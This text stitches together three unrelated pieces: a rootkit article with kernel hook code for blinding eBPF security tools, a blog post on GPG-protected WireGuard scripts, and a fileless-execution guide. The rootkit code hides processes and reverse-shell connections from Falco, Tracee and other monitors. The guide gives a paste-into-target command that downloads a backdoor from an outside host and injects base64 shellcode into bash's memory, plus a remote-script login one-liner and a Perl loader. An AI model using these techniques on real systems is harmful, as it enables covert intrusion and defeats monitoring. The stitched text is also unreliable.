Rootkit Researchers: https://discord.gg/66N5ZQppU7

Author (MatheuZSecurity): https://www.linkedin.com/in/mathsalves/

Introduction

Linux security tooling has leaned heavily into eBPF. Projects like Falco, Tracee, and Tetragon made kernel-level telemetry feel like a step change: richer context, low overhead, and visibility that’s difficult to evade from user space.

But that promise quietly depends on a threat model: the kernel is assumed to be a trustworthy observer.

This article explores what happens when that assumption breaks, specifically, when an attacker can execute code in the kernel (e.g., via a loaded module). In that world, the most valuable targets aren’t the eBPF programs themselves, but the plumbing around them: iterators, event delivery paths (ring buffer / perf buffer), perf submission, and map operations that turn kernel activity into user-space signals.

All research is strictly for educational purposes.

Table of Contents

• Introduction

• The eBPF Security Landscape

  • How eBPF Security Works

  • The False Promise of Kernel Observability

• Understanding the Attack Surface

  • BPF Iterators

  • BPF Ringbuffers

  • Perf Events

  • BPF Maps

• Bypassing eBPF Security: Technical Implementation

  • Hook Architecture

  • Process and Network Hiding

  • Intercepting BPF Iterators

  • Filtering Ringbuffer Events

  • Blocking Perf Event Submission

  • Manipulating BPF Maps

• Real-World Bypass Results

  • Falco Evasion

  • Tracee Evasion

  • Additional Tools

• Conclusion

The eBPF Security Landscape

How eBPF Security Works

eBPF (extended Berkeley Packet Filter) has revolutionized Linux observability and security. Modern security tools leverage eBPF to monitor kernel events in real-time without modifying kernel code or loading traditional kernel modules.

Key Components:

1. eBPF Programs: Sandboxed code running in kernel context, attached to various kernel events (syscalls, tracepoints, kprobes)

2. BPF Maps: Kernel data structures for sharing information between eBPF programs and userspace

3. Ringbuffers/Perf Events: Efficient mechanisms for streaming event data from kernel to userspace

4. BPF Iterators: New mechanism for efficiently iterating over kernel objects (processes, network connections, etc.)

Security Tools Using eBPF:

• Falco: Runtime security monitoring, detects anomalous behavior

• Tracee: System call and event tracing for security analysis

• Tetragon: Policy enforcement and security observability

• Cilium: Network security and observability

• GhostScan: Rootkit detection via memory scanning

• Decloaker: Hidden process detection

The False Promise of Kernel Observability

The security community believed eBPF solved a fundamental problem: how do you monitor a system that an attacker controls? The answer seemed obvious: use kernel-level observability that attackers cannot evade.

This assumption contains a critical flaw.

The Fundamental Problem:

eBPF programs execute inside the kernel they are trying to observe, while the detection pipeline depends on kernel → userspace delivery (ring buffers/perf buffers/iterators) and userspace policy engines. If an attacker gains the ability to load a kernel module (via root access and disabled Secure Boot / unenforced module signing), they can modify the kernel’s behavior and selectively disrupt what those eBPF programs and collectors are able to see.

Why This Matters:

• eBPF programs cannot protect themselves from kernel-level manipulation

• eBPF verifier only ensures memory safety, not security guarantees

• All eBPF data flow mechanisms (iterators, ringbuffers, maps) are implemented as kernel functions

• Kernel functions can be hooked via ftrace

The moment an attacker has kernel-level access, observability becomes optional.

Understanding the Attack Surface

Before we can bypass eBPF security, we need to understand how these tools collect data. Let’s examine each mechanism.

BPF Iterators

BPF iterators allow eBPF programs to efficiently walk kernel data structures. Security tools use iterators to enumerate processes, network connections, and other kernel objects.

Iterator Flow:

Kernel Data (tasks, sockets) 
    -> bpf_iter_run_prog()
        -> eBPF iterator program
            -> bpf_seq_write() / bpf_seq_printf()
                -> Userspace reads via seq_file

Key Functions:

• bpf_iter_run_prog(): Executes the eBPF iterator program for each kernel object

• bpf_seq_write(): Writes data to the seq_file buffer

• bpf_seq_printf(): Formatted output to seq_file buffer

Security Tools Using Iterators:

• GhostScan uses task iterators to detect hidden processes

• Decloaker uses network iterators to find hidden connections

• Custom security tools use iterators for forensic analysis

BPF Ringbuffers

Ringbuffers are the modern replacement for perf buffers, providing efficient event streaming from kernel to userspace with better performance and ordering guarantees.

Ringbuffer Flow:

Kernel Event
    -> eBPF program
        -> bpf_ringbuf_reserve()
            -> bpf_ringbuf_submit() or bpf_ringbuf_output()
                -> Userspace reads events

Key Functions:

• bpf_ringbuf_reserve(): Allocates space in the ringbuffer

• bpf_ringbuf_submit(): Commits reserved data to the ringbuffer

• bpf_ringbuf_output(): One-shot write to ringbuffer

Security Tools Using Event Delivery Mechanisms:

• Falco (modern eBPF probe): Uses BPF ring buffer (BPF_MAP_TYPE_RINGBUF) for kernel→userspace event delivery (driver/config dependent).

• Tracee: Uses perfbuffer/perf ring buffers as its primary kernel→userspace event delivery mechanism (and can vary by version/implementation).

• Tetragon: Uses kernel→userspace buffering mechanisms (e.g., ring buffer / perf-based buffers) depending on the component and version.

Note: “Perf event arrays” and “BPF ring buffers” are different mechanisms - the former is per-CPU and older, while the latter is shared across CPUs and more efficient.

Perf Events

Perf events are the traditional mechanism for streaming kernel data to userspace. While older than ringbuffers, many tools still use them.

Perf Event Flow:

Kernel Event
    -> eBPF program
        -> perf_event_output()
            -> perf_trace_run_bpf_submit()
                -> Userspace reads perf buffer

Key Functions:

• perf_event_output(): Writes event to perf buffer

• perf_trace_run_bpf_submit(): Submits tracepoint data to eBPF programs

Security Tools Using Perf Events:

• Legacy Falco versions

• Custom monitoring tools

• Kernel tracing utilities

BPF Maps

BPF maps are kernel data structures that store state and allow communication between eBPF programs and userspace.

Map Operations:

eBPF program or userspace
    -> bpf_map_lookup_elem()
    -> bpf_map_update_elem()
    -> bpf_map_delete_elem()
        -> Kernel map data structure

Key Functions:

• bpf_map_lookup_elem(): Retrieve value from map

• bpf_map_update_elem(): Insert or update map entry

• bpf_map_delete_elem(): Remove map entry

Security Use Cases:

• Storing process metadata

• Tracking network connections

• Maintaining allow/deny lists

• Sharing data between eBPF programs

Bypassing eBPF Security: Technical Implementation

Now that we understand how eBPF security works, let’s examine how to systematically blind it.

Hook Architecture

Our approach uses ftrace to hook critical BPF functions. Ftrace allows dynamic tracing of kernel functions without modifying kernel code, making it perfect for interception.

Hooked Functions:

static struct ftrace_hook hooks[] = {
    // BPF Iterator Hooks
    HOOK("bpf_iter_run_prog", hook_bpf_iter_run_prog, &orig_bpf_iter_run_prog),
    HOOK("bpf_seq_write", hook_bpf_seq_write, &orig_bpf_seq_write),
    HOOK("bpf_seq_printf", hook_bpf_seq_printf, &orig_bpf_seq_printf),

    // BPF Ringbuffer Hooks
    HOOK("bpf_ringbuf_output", hook_bpf_ringbuf_output, &orig_bpf_ringbuf_output),
    HOOK("bpf_ringbuf_reserve", hook_bpf_ringbuf_reserve, &orig_bpf_ringbuf_reserve),
    HOOK("bpf_ringbuf_submit", hook_bpf_ringbuf_submit, &orig_bpf_ringbuf_submit),

    // BPF Map Hooks
    HOOK("bpf_map_lookup_elem", hook_bpf_map_lookup_elem, &orig_bpf_map_lookup_elem),
    HOOK("bpf_map_update_elem", hook_bpf_map_update_elem, &orig_bpf_map_update_elem),

    // Perf Event Hooks
    HOOK("perf_event_output", hook_perf_event_output, &orig_perf_event_output),
    HOOK("perf_trace_run_bpf_submit", hook_perf_trace_run_bpf_submit, 
         &orig_perf_trace_run_bpf_submit),

    // BPF Program Execution
    HOOK("__bpf_prog_run", hook_bpf_prog_run, &orig_bpf_prog_run),

    // BPF Syscall
    HOOK("__x64_sys_bpf", hook_bpf, &orig_bpf),
    HOOK("__ia32_sys_bpf", hook_bpf_ia32, &orig_bpf_ia32),
};

Why This Works:

1. Kernel-level access: Once loaded, the rootkit runs at ring 0 with full privileges

2. Ftrace hooking: Operates below eBPF programs, allowing us to filter their data sources

3. No eBPF involvement: We’re not fighting eBPF, we’re cutting off its inputs

4. Selective filtering: Only hide specific processes/connections, not everything

Process and Network Hiding

The rootkit maintains lists of hidden PIDs and network connections. Child process tracking ensures that when you hide a shell, all spawned processes also remain hidden.

Hidden PID Management:

#define MAX_HIDDEN_PIDS 32
#define MAX_CHILD_PIDS (MAX_HIDDEN_PIDS * 128)

extern int hidden_pids[MAX_HIDDEN_PIDS];
extern int hidden_count;
extern int child_pids[MAX_CHILD_PIDS];
extern int child_count;

notrace void add_hidden_pid(int pid) {
    int i;
    for (i = 0; i < hidden_count; i++) {
         if (hidden_pids[i] == pid)
             return;
    }
    if (hidden_count < MAX_HIDDEN_PIDS) {
        hidden_pids[hidden_count++] = pid;
    }
}

notrace int is_hidden_pid(int pid) {
    int i;
    for (i = 0; i < hidden_count; i++) {
         if (hidden_pids[i] == pid)
             return 1;
    }
    return 0;
}

Child Process Tracking:

static notrace bool is_child_of_hidden_process(int pid)
{
    struct task_struct *task;
    struct task_struct *parent;
    int depth = 0;
    int max_depth = 10;
    bool hidden = false;

    if (pid <= 0)
        return false;

    if (should_hide_pid_by_int(pid))
        return true;

    rcu_read_lock();

    task = pid_task(find_vpid(pid), PIDTYPE_PID);

    if (!task) {
        rcu_read_unlock();
        return false;
    }

    parent = task;
    while (parent && depth < max_depth) {
        if (parent->pid <= 0)
            break;

        parent = rcu_dereference(parent->real_parent);

        if (!parent || parent->pid <= 1)
            break;

        if (should_hide_pid_by_int(parent->pid)) {
            hidden = true;
            break;
        }

        depth++;
    }

    rcu_read_unlock();
    return hidden;
}

Network Connection Hiding:

#define HIDDEN_PORT 8081

static notrace bool should_hide_socket_port(struct sock_common *sk)
{
    __be16 sport, dport;
    __be32 saddr, daddr;

    if (!sk)
        return false;

    init_hidden_ip();

    if (sk->skc_family == AF_INET) {
        sport = sk->skc_num;
        dport = sk->skc_dport;
        saddr = sk->skc_rcv_saddr;
        daddr = sk->skc_daddr;

        if (sport == HIDDEN_PORT || ntohs(dport) == HIDDEN_PORT) {
            if (saddr == hidden_ip_cached || daddr == hidden_ip_cached ||
                saddr == htonl(INADDR_ANY) || daddr == htonl(INADDR_ANY)) {
                return true;
            }
        }
    }
    else if (sk->skc_family == AF_INET6) {
        sport = sk->skc_num;

        if (sport == HIDDEN_PORT) {
            return true;
        }
    }

    return false;
}

Intercepting BPF Iterators

BPF iterators allow tools like GhostScan and Decloaker to enumerate kernel objects. By hooking the iterator execution, we can selectively filter results.

Iterator Context Structures:

struct bpf_iter_ctx_tcp {
    struct bpf_iter_meta *meta;
    struct sock_common *sk_common;
    uid_t uid;
};

struct bpf_iter_ctx_udp {
    struct bpf_iter_meta *meta;
    struct udp_sock *udp_sk;
    uid_t uid;
    int bucket;
};

struct bpf_iter_ctx_task {
    struct bpf_iter_meta *meta;
    struct task_struct *task;
};

Hooking bpf_iter_run_prog:

static notrace int hook_bpf_iter_run_prog(struct bpf_prog *prog, void *ctx)
{
    struct bpf_iter_ctx_tcp *tcp_ctx;
    struct bpf_iter_ctx_udp *udp_ctx;
    struct bpf_iter_ctx_task *task_ctx;
    struct sock_common *sk;
    struct udp_sock *udp_sk;
    struct task_struct *task;

    if (!orig_bpf_iter_run_prog || !ctx)
        goto passthrough;

    // Check if this is a TCP socket iterator
    tcp_ctx = (struct bpf_iter_ctx_tcp *)ctx;
    if (tcp_ctx && tcp_ctx->sk_common) {
        sk = tcp_ctx->sk_common;

        if ((unsigned long)sk > PAGE_SIZE) {
            if (should_hide_socket_port(sk)) {
                return 0;  // Skip this socket
            }
        }
    }

    // Check if this is a UDP socket iterator
    udp_ctx = (struct bpf_iter_ctx_udp *)ctx;
    if (udp_ctx && udp_ctx->udp_sk) {
        udp_sk = udp_ctx->udp_sk;

        if ((unsigned long)udp_sk > PAGE_SIZE) {
            sk = &udp_sk->inet.sk.__sk_common;

            if (should_hide_socket_port(sk)) {
                return 0;  // Skip this socket
            }
        }
    }

    // Check if this is a task iterator
    task_ctx = (struct bpf_iter_ctx_task *)ctx;
    if (task_ctx && task_ctx->task) {
        task = task_ctx->task;

        if ((unsigned long)task > PAGE_SIZE && task->pid > 0) {
            if (is_child_of_hidden_process(task->pid)) {
                return 0;  // Skip this task
            }
        }
    }

passthrough:
    return orig_bpf_iter_run_prog(prog, ctx);
}

How This Defeats Detection:

When GhostScan or Decloaker use BPF iterators to enumerate processes or network connections, our hook intercepts each iteration. For hidden PIDs or network connections, we return 0 (skip), preventing the eBPF program from ever seeing that object. The security tool thinks it’s seeing the complete system state, but we’ve selectively filtered the view.

Hooking seq_file Output:

Iterators also use bpf_seq_write() and bpf_seq_printf() to format output. We hook these too:

static notrace int hook_bpf_seq_write(struct seq_file *seq, const void *data, u32 len)
{
    const u32 *pid_data;
    int i;

    if (!orig_bpf_seq_write)
        return -ENOSYS;

    if (!data || len < sizeof(u32))
        goto passthrough;

    // Scan the data for PIDs
    pid_data = (const u32 *)data;
    for (i = 0; i < (len / sizeof(u32)) && i < 16; i++) {
        u32 potential_pid = pid_data[i];

        if (potential_pid > 0 && potential_pid < 4194304) {
            if (is_child_of_hidden_process((int)potential_pid)) {
                return 0;  // Block this write
            }
        }
    }

passthrough:
    return orig_bpf_seq_write(seq, data, len);
}

Filtering Ringbuffer Events

Falco and Tracee heavily rely on ringbuffers for event streaming. By hooking ringbuffer operations, we can prevent events related to our processes from reaching userspace.

Falco Event Structure:

struct falco_event_hdr {
    u64 ts;
    u64 tid;
    u32 len;
    u16 type;
    u32 nparams;
} __attribute__((packed));

static notrace bool is_falco_event(void *data, u64 size)
{
    struct falco_event_hdr *hdr;

    if (!data || size < sizeof(struct falco_event_hdr))
        return false;

    hdr = (struct falco_event_hdr *)data;

    // Validate event structure
    if (hdr->type >= 1 && hdr->type <= 400 &&
        hdr->len > 0 && hdr->len < 65536 &&
        hdr->nparams < 20) {
        return true;
    }

    return false;
}

Hooking bpf_ringbuf_output:

static notrace long hook_bpf_ringbuf_output(void *ringbuf, void *data, u64 size, u64 flags)
{
    struct falco_event_hdr *hdr;
    int pid;

    if (!orig_bpf_ringbuf_output)
        return -ENOSYS;

    if (!data || !ringbuf)
        goto passthrough;

    // Check if this looks like a Falco event
    if (!is_falco_event(data, size))
        goto passthrough;

    hdr = (struct falco_event_hdr *)data;
    pid = (int)(hdr->tid & 0xFFFFFFFF);

    // If this event is from a hidden process, drop it
    if (is_child_of_hidden_process(pid)) {
        return 0;
    }

passthrough:
    return orig_bpf_ringbuf_output(ringbuf, data, size, flags);
}

Hooking bpf_ringbuf_reserve:

static notrace void *hook_bpf_ringbuf_reserve(void *ringbuf, u64 size, u64 flags)
{
    pid_t pid;

    if (!orig_bpf_ringbuf_reserve)
        return NULL;

    pid = current->tgid;

    // Deny ringbuffer allocation for hidden processes
    if (is_child_of_hidden_process(pid)) {
        return NULL;
    }

    return orig_bpf_ringbuf_reserve(ringbuf, size, flags);
}

Hooking bpf_ringbuf_submit:

static notrace void hook_bpf_ringbuf_submit(void *data, u64 flags)
{
    struct falco_event_hdr *hdr;
    int pid;

    if (!orig_bpf_ringbuf_submit)
        return;

    if (!data)
        goto passthrough;

    if (!is_falco_event(data, 0))
        goto passthrough;

    hdr = (struct falco_event_hdr *)data;
    pid = (int)(hdr->tid & 0xFFFFFFFF);

    // Drop submission for hidden processes
    if (is_child_of_hidden_process(pid)) {
        return;
    }

passthrough:
    orig_bpf_ringbuf_submit(data, flags);
}

How This Defeats Detection:

Falco and Tracee see syscall events, process creation, file access, and network activity through ringbuffers. By intercepting at three points (reserve, output, submit), we ensure that events from hidden processes never make it to the ringbuffer. From Falco’s perspective, these processes simply don’t exist.

Blocking Perf Event Submission

Older tools and some Falco configurations still use perf events instead of ringbuffers. We hook these too.

Hooking perf_event_output:

static notrace int hook_perf_event_output(struct perf_event *event, 
                                          struct perf_sample_data *data,
                                          struct pt_regs *regs)
{
    pid_t pid;

    if (!orig_perf_event_output)
        return -ENOSYS;

    pid = current->tgid;

    // Drop perf events for hidden processes
    if (is_child_of_hidden_process(pid)) {
        return 0;
    }

    return orig_perf_event_output(event, data, regs);
}

Hooking perf_trace_run_bpf_submit:

static notrace void hook_perf_trace_run_bpf_submit(void *raw_data, int size,
                                                    int rctx, struct pt_regs *regs,
                                                    struct hlist_head *head,
                                                    struct task_struct *task)
{
    if (!orig_perf_trace_run_bpf_submit)
        return;

    // Check if the task is hidden
    if (task && is_child_of_hidden_process(task->pid)) {
        return;
    }

    // Also check current process
    if (is_child_of_hidden_process(current->tgid)) {
        return;
    }

    orig_perf_trace_run_bpf_submit(raw_data, size, rctx, regs, head, task);
}

Manipulating BPF Maps

Security tools often use BPF maps to store process metadata, track suspicious activity, or maintain state. By hooking map operations, we can prevent our processes from being recorded.

Hooking bpf_map_lookup_elem:

static notrace void *hook_bpf_map_lookup_elem(struct bpf_map *map, const void *key)
{
    void *ret;
    pid_t pid;

    if (!orig_bpf_map_lookup_elem)
        return NULL;

    ret = orig_bpf_map_lookup_elem(map, key);

    // If the map uses PIDs as keys, filter hidden PIDs
    if (ret && map && map->key_size == sizeof(pid_t)) {
        pid = *(pid_t *)key;

        if (is_child_of_hidden_process(pid)) {
            return NULL;  // Pretend the entry doesn't exist
        }
    }

    return ret;
}

Hooking bpf_map_update_elem:

static notrace long hook_bpf_map_update_elem(struct bpf_map *map, void *key,
                                               void *value, u64 flags)
{
    u32 *pid_key;

    if (!orig_bpf_map_update_elem)
        return -ENOSYS;

    // If this is a PID-keyed map, block updates for hidden PIDs
    if (map && map->key_size == sizeof(u32)) {
        pid_key = (u32 *)key;

        if (is_child_of_hidden_process((int)*pid_key)) {
            return 0;  // Silently succeed without actually updating
        }
    }

    return orig_bpf_map_update_elem(map, key, value, flags);
}

How This Defeats Detection:

Security tools that track process behavior using BPF maps will never see entries for our hidden processes. When they try to look up a hidden PID, the lookup returns NULL. When they try to store data about a hidden process, the update silently fails. The tool’s logic continues to work, but it operates on an incomplete view of reality.

Blocking eBPF Program Execution

For maximum stealth, we can also prevent eBPF programs from running when triggered by our hidden processes.

Hooking __bpf_prog_run:

static notrace u32 hook_bpf_prog_run(const struct bpf_prog *prog, const void *ctx)
{
    pid_t pid;

    if (!orig_bpf_prog_run)
        return 0;

    pid = current->tgid;

    // Don't execute eBPF programs for hidden processes
    if (is_child_of_hidden_process(pid)) {
        return 0;
    }

    return orig_bpf_prog_run(prog, ctx);
}

Hooking the bpf() syscall:

static notrace asmlinkage long hook_bpf(const struct pt_regs *regs)
{
    int cmd;
    pid_t pid;

    if (!orig_bpf)
        return -ENOSYS;

    cmd = (int)regs->di;
    pid = current->tgid;

    // Hidden processes can use bpf() normally
    // but we could log/block specific commands here
    if (is_child_of_hidden_process(pid)) {
        // Optional: block certain BPF commands
    }

    return orig_bpf(regs);
}

Real-World Bypass Results

Proof-of-Concept video demonstrating these results:

https://youtu.be/ByEp137w3Ks

Falco Evasion

Falco is one of the most popular eBPF-based runtime security tools. It monitors syscalls, file access, network connections, and process execution to detect threats.

What Falco Should Detect:

• Reverse shell creation

• Suspicious network connections

• Critical file read

And common post-exploitation activity (process exec/spawn, outbound connections, and sensitive file access).

Bypass Results:

With our BPF hooks active:

1. Reverse Shell: Connected to attacker-controlled server on port 8081. Falco detected nothing.

2. Process Execution: Spawned interactive bash shell. Falco detected nothing.

3. File Modification: Modified and read /etc/passwd, /etc/shadow. Falco detected nothing.

4. Network Activity: Established multiple TCP connections. Falco detected nothing.

5. Privilege Escalation: Used rootkit’s signal-based privilege escalation (kill -59). Falco detected nothing.

Why The Bypass Works:

Falco’s eBPF programs successfully attach to syscall tracepoints and execute as designed. However, every event they generate passes through kernel→userspace delivery (ring buffer / perf buffer, depending on driver/version), which we can disrupt via hooked kernel functions. Events from hidden processes are filtered before reaching Falco’s userspace agent. From Falco’s perspective, the system appears normal.

Tracee Evasion

Tracee provides detailed system call tracing and event analysis. It’s designed to detect anomalous behavior and hidden processes.

What Tracee Should Detect:

• Hidden processes

• Kernel module loading

• Syscall anomalies

And common attacker workflows (process hiding and suspicious network behavior).

Bypass Results:

With our BPF hooks active:

1. Process Enumeration: Tracee’s process listing showed no hidden processes

2. Syscall Tracing: No syscalls from hidden processes appeared in traces

3. Network Connections: Hidden network connections invisible to Tracee

Why The Bypass Works:

Tracee relies on BPF iterators for process enumeration and ringbuffers for syscall events. Our hooks intercept both. The iterator hook ensures hidden processes never appear in enumeration. The ringbuffer hooks prevent syscall events from being recorded.

Additional Tools

GhostScan:

GhostScan attempts to detect hidden processes by comparing different enumeration methods. It uses BPF iterators to walk the task list.

Result: Hidden processes remain invisible. Our iterator hooks ensure consistency across all enumeration methods.

Decloaker:

Decloaker tries to reveal hidden network connections by using multiple detection techniques including BPF iterators.

Result: Hidden connections remain invisible. Our iterator and socket filtering hooks ensure network connections on our target port never appear.

Custom eBPF Tools:

Several custom security tool using BPF iterators, ringbuffers, or perf events for monitoring will be equally blind to our hidden processes.

The Hard Truth:

If an attacker gains the ability to load kernel modules, they control the kernel’s view of reality. eBPF security tools run inside the kernel and thus cannot fully protect a compromised kernel. The only reliable defense is preventing kernel compromise in the first place.

Conclusion

This research demonstrates that eBPF-based security tools, while powerful, operate under a false assumption: that kernel-level observability provides complete visibility. In reality, when an attacker achieves kernel-level access through a loaded module, they can systematically blind these tools by hooking the very mechanisms they rely on.

My Findings:

1. Target the data path, not the program: If you can control the kernel-side plumbing that carries events to user space, the eBPF program can “run correctly” while its output never arrives.

2. Enumerators are just another surface: Iterator-based tools depend on bpf_iter_run_prog() and seq_file writes. Filtering there can make multiple views of the system agree on a lie.

3. Event delivery is a choke point: Whether a tool uses ring buffer (BPF_MAP_TYPE_RINGBUF) or perf buffer (BPF_MAP_TYPE_PERF_EVENT_ARRAY), the kernel→userspace boundary creates a natural interception point.

4. State can be selectively erased: Map lookups/updates are convenient places to make hidden PIDs appear “not found” without breaking the rest of the system.

5. Once the kernel is hostile, observability is best-effort: eBPF improves visibility under a trusted kernel. It does not harden a compromised kernel.

What this PoC demonstrates:

• Successfully bypassed Falco, Tracee, GhostScan, and Decloaker

• Demonstrated complete process and network hiding from eBPF tools

• Proved that kernel-level access fundamentally breaks the security model

• Showed that observability itself can be made optional for an attacker

Defensive Implications:

Security cannot rely solely on kernel-level observability. Defense-in-depth requires:

• Preventing kernel compromise through Secure Boot and signed modules

• Multi-layer monitoring including network-level detection

• Hardware-rooted trust and attestation

• Accepting that a compromised kernel cannot secure itself

The Future:

This cat-and-mouse game will continue. Security vendors will develop new detection methods. Attackers will find new bypass techniques :)

Bottom line: once the kernel is attacker-controlled, the system’s “ground truth” is no longer trustworthy. eBPF raises the bar under a trusted kernel, but it can’t be the last line of defense against a hostile one.

The real win is preventing kernel compromise in the first place (boot trust, module enforcement, and layered detection outside the host).

Research Resources:

• Singularity Rootkit: https://github.com/MatheuZSecurity/Singularity

• Rootkit Research Community: https://discord.gg/66N5ZQppU7

• Contact: X (@MatheuzSecurity) | Discord (kprobe)

Responsible Disclosure:

This research has been conducted for educational purposes. All techniques described are intended to improve defensive capabilities by understanding attacker methodologies. The code is published to help security researchers develop better detection and prevention mechanisms.

If you’re a security vendor affected by these techniques, please reach out for collaboration on improved detection strategies.

Running multiple VPN tunnels on a system has become a de-facto standard on all of my machines since 2+ decades. Historically, these types of tunnels consisted of

• OpenVPN

• IPSEC

• WireGuard

During a recent migration effort, I was able to eliminate all OpenVPN and IPSEC connections and implemented fresh WireGuard connections into all relevant endpoint networks. However, handling 10+ different tunnels per machine made me think about a mechanism to organize and secure the VPN tunnel buildup and teardown process, and omit potential OPSEC issues introduced by the presence of configuration files as much as possible.

Requirements

We define the following requirements:

• Tunnel configs should be stored as secure as possible

• Tunnel buildup and teardown should happen nearly automatically

• There should be no state where an attacker can access VPN configs

• All of the above should be accomplished by using a single command

We run FDE on all of our systems, but we like the approach of double-layered security as well, which is why we implement the usage of GPG as well to store an encrypted archive of relevant VPN configurations. This also simplifies redundant storage on potentially insecure media alot.

In the end, we created the following scripts to achieve all of the above:

ADMx Skript

#!/bin/env bash
gpg -d ADMIN0.tgz.gpg > ADMIN0.tgz
tar xvzf ADMIN0.tgz
chmod 600 *.conf
./VPN.sh up
rm -rf *.conf ADMIN0.tgz
exit 0

What this skript does, is:

• decrypt the GPG encrypted ADMIN0.tgz.gpg

• extract the ADMIN0.tgz archive containing relevant VPN configs

• adjust permissions to omit warning messages

• establish all tunnels using another skript

• remove all plaintext configurations and the archive right after

VPN Skript

This is a simple one-liner to establish VPN connections to all endpoints using available configuration files:

for i in `ls *.conf`; do wg-quick $1 ./$i ; done

As you can see, the skript accepts one option, which is "up" in our example, but could also be "down" to close all established VPN tunnels w/ a single command:

Summary

We are now able to deploy multiple ADMINx folders in our redundant storage, each containing machine specific configurations for all relevant endpoints. Using GPG, we are able to transparently decrypt the configs only for the minimal time they are required for tunnel buildup, and immediately erase them afterwards. All of this enables us to securely establish VPN connections by running a single bash skript on the commandline:

./ADM0.sh

The source: https://github.com/hackerschoice/memexec

Fileless execution is the process of running an executable without it touching the file system. The idea itself is not new and has been the subject of various research in the past [2].

Most (all?) past tricks call mmap(2) or require ptrace(2) - and thus fail if the noexec mount flag is used or ptrace is prohibited.

While acknowledging that we stand on the shoulders of giants in this matter, we bring you a quick and reliable fileless execution trick where the only requirements are bash and a few core utils (cat, cut, base64 and dd).

Bash only acts as an incubator for our shellcode + backdoor (think Aliens). We also present the same functionality using Perl or PHP (which do not rely on cat, cut, base64 or dd). Additionally, the Perl-variant does not need access to /proc/self/mem and thus works as well inside containers). The PHP-variant is an excellent fit for all those web-cloud providers where there is no Shell access and no execution right.

Now why would you ever need fileless execution ?

• You don’t have permission to write to any location on the host.

• You have permission to write to a location, but can't execute anything and userland-execution (ulexec or ld-linux.so) fail. (noexec).

• Favourite tmpfs locations like /dev/shm have been marked as noexec.

• It's generally considered a good OpSec / anti forensic practice since your binaries wont survive a reboot [3].

The execution trick uses two separate techniques discovered by the community.

1. Creating a memory backed file descriptor: memfd_create(2) syscall is used to create a file descriptor which refers to a file that entirely lives in the RAM and does not depend on a persistent storage[4], This can be used to (temporarily) store a file that we wish to execute.

2. Modifying process image by writing to /proc/self/mem: /proc/self/mem provides a simple file interface to the process memory, we can leverage this to write arbitrary shellcode to process memory, to actually have the shellcode executed we can pick a memory location held by the Instruction Pointer, so that when the CPU resumes execution of the process our shellcode is executed.

Cut & Paste this into the target’s shell (be warned, anyone reading this article knows the SecretChangeMe to log into your system. CHANGE IT.):

curl -fsSL https://thc.org/gs-demo.x86 \
| GS_SECRET=SecretChangeMe bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrD0iDwAjr5EyJ0E0x200x5EiDOAB1CUiDwAhJicTrBkiD6Ajr60iJ5UiB7BIEAABIuGtlcm5lbAAAagBQuD8BAABIiedIMfYPBUmJwLgAAAAAvwAAAABIiea6AAQAAA8FSInCSIP6AH4PuAEAAABMicdIieYPBevUuEIBAABMicdqAEiJ5moAVEiJ4kgxyU0xyU2J4kG4ABAAAA8FuDwAAAC/YwAAAA8FAAAAAAA=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4'
# Then log in to your backdoored system with:
# S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"
# or: gs-netcat -i -s SecretChangeMe

Now lets take a look at the trick itself and break it down piece by piece:

1. A binary/backdoor is obtained from a external source and piped into bash's stdin.

2. A Bash process is started. The command line -c contains 3 commands, separated by ; and executed in sequence by Bash:

   1. Bash changes to /proc/$$ (same as /proc/self but shorter).

   2. A file descriptor (4) is created.

   3. The last command contains the sub-command $(cat syscall| cut -f9 -d” “), which Bash needs to execute before calling dd or base64. Bash executes this sub-command by forking and waiting in wait(2)-syscall for the forked child to complete. While waiting, the Instruction Pointer of the parent Bash is available through /proc/$$/syscall - it’s the address of the wait(2)-syscall-stub somewhere inside the libc.

   4. The forked child outputs this Instruction Pointer. Later, dd will use this address as its command-line-option to overwrite the wait()-syscall-stub (e.g. the .text segment somewhere inside the libc).

   5. A base64 encoded shellcode is decoded and piped to dd.

   6. dd then seeks to the memory location from step 4, and then copies the shellcode from stdin to the process’s memory (using the opened file descriptor from step 2).

   7. Bash waits again in the same wait(2)-syscall for base64 and dd to finish executing. This is important.

   8. Little does Bash know that while waiting, its own .text segment has been overwritten with our shellcode - at the location where Bash is waiting.

3. Once the shellcode is written to process memory and the last program executed by bash (i.e dd) exits, control is returned back to bash. Execution resumes from the memory location held in the Instruction Pointer, except we have overwritten that location with our shellcode. It is our shellcode that is being executed now.

4. Now lets take at the shellcode itself and how it executes our binary:

section .text
    global _start

_start:
    ; create a buffer
    mov rbp, rsp
    sub rsp, 1042

    ; create a memory fd
    mov  rax, 0x6c656e72656b    ; kernel
    push 0
    push rax
    mov rax, 319           ; memfd_create
    mov rdi, rsp           ; name - kernel
    xor rsi, rsi           ; no MFD_CLOEXEC
    syscall
    mov r8, rdx            ; save memfd number

loop:
    mov rax, 0             ; read
    mov rdi, 0             ; stdin
    mov rsi, rsp           ; pointer to buffer
    mov rdx, 1024          ; number of bytes to read at time
    syscall
    mov rdx, rax           ; store no of bytes read in rdx

    ; check if we reached the end of the file
    cmp rdx, 0
    jle exit               ; if bytes read is 0, close the file

    ; write data to mem_fd
    mov rax, 1
    mov rdi, r8           ; mem_fd number
    mov rsi, rsp          ; buffer
    ;rdx already has the amount of bytes previously read
    syscall

    jmp loop

exit:
    ; execveat the program in memfd
    mov     rax, 322    ; execveat
    mov     rdi, r8     ; memfd
    push    0
    mov     rsi, rsp    ; path (empty string)
    push    0
    push    rsp
    mov     rdx, rsp    ; ARGV (pointer to a array containing a pointer to a empty string)
    mov     r8, 4096    ; AT_EMPTY_PATH
    syscall

    ; Exit the program
    mov rax, 60                       ; sys_exit
    mov rdi, 99                       ; exit code 99
    syscall

1. A memory backed fd is created using memfd_create syscall.

2. Within the loop, contents of the binary are copied from stdin to the memory backed fd (remember - we passed the binary to bash via stdin).

3. Once the binary is fully copied to the memory fd, execveat[6] is used to run the binary stored in the memory fd.

Perl & PHP variants:

Perl has native syscall support: We do not need shellcode. There is no need to overwrite any running process memory. No need to access /proc/self/mem and works when ptrace is not available:

perl '-efor(319,279){($f=syscall$_,$",1)>0&&last}; \
    open($o,">&=".$f); \
    print$o(<STDIN>); \
    exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"
# Test: cat /usr/bin/uname | per '....' -a

